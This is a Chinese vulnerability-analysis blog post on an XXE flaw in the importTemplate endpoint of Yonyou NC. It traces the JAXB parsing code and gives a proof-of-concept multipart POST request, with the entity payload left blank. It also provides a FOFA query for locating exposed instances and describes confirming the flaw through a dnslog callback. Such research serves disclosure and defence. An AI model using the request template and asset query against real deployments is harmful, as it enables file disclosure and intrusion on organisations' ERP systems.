用友NC 源码+importTemplate方法XXE漏洞分析

admin 2025年6月18日20:43:43评论0 views字数 1512阅读5分2秒阅读模式

前言

这是一个礼拜一次的正经漏洞分析文章,也就照着漏洞代码来分析一下用友NC的XXE漏洞,看和用友U8C的XXE漏洞有何区别吧,文章首发于奇安信攻防社区

用友源码文件已在内部知识圈公开,感兴趣的师傅可以文末扫码加入

用友NC 源码+importTemplate方法XXE漏洞分析

漏洞位于importTemplate接口处,文件路径为nc.uap.portal.action.importTemplate

用友NC 源码+importTemplate方法XXE漏洞分析
其中关键代码如下,我放文本框里面
Map<StringMultipartFile> fileMap = req.getFileMap();  List<MultipartFile> files = new ArrayList<>();String billitem = req.getParameter("billitem");  if ("null".equals(billitem) || StringUtils.isBlank(billitem)) {    AppInteractionUtil.showMessageDialog(NCLangRes4VoTransl.getNCLangRes().getStrByID("bd""PortalTemplateAction-000000"));    return;  }   if (MapUtils.isNotEmpty(fileMap))    files.addAll(fileMap.values());   String name = ((MultipartFile)files.get(0)).getOriginalFilename();  InputStream in = ((MultipartFile)files.get(0)).getInputStream();  try {    TemplateOperTools.doImPort(in, billitem);

后端接收上传的文件内容输入以及参数billitem,之后将其传入TemplateOperTools.doImPort方法中

盯着代码继续追踪方法,doImport代码如下

用友NC 源码+importTemplate方法XXE漏洞分析

可以看到内容输入经过JaxbMarshalFactory方法解析

来到漏洞的罪魁祸首那一段代码
TemplatePackObj packObj = (TemplatePackObj)JaxbMarshalFactory.newIns().encodeXML(TemplatePackObj.class, xml)

此处对输入的内容进行解析,并将其转换为TemplatePackObj对象

因为使用了JAXB来进行解析XML外部实体,从而造成了XXE漏洞

最终的POC如下

POST /portal/pt/portaltemplate/importTemplate?pageId=login&billitem=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----123456Host: ------123456Content-Disposition: form-data; name="file"; filename="1.txt"<?xml version="1.0" encoding="UTF-8"?>内容自行替换即可------123456--

相关资产搜索的FOFA语法

app="用友-UFIDA-NC"
用友NC 源码+importTemplate方法XXE漏洞分析
直接构造个XML文档请求外部地址来验证下
用友NC 源码+importTemplate方法XXE漏洞分析

请求成功,dnslog接收到请求记录

用友NC 源码+importTemplate方法XXE漏洞分析
最后总结

感兴趣的可以公众号私聊我进团队交流群,咨询问题,hvv简历投递,nisp和cisp考证都可以联系我

原文始发于微信公众号(C4安全团队):用友NC 源码+importTemplate方法XXE漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月18日20:43:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用友NC 源码+importTemplate方法XXE漏洞分析https://cn-sec.com/archives/4177164.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息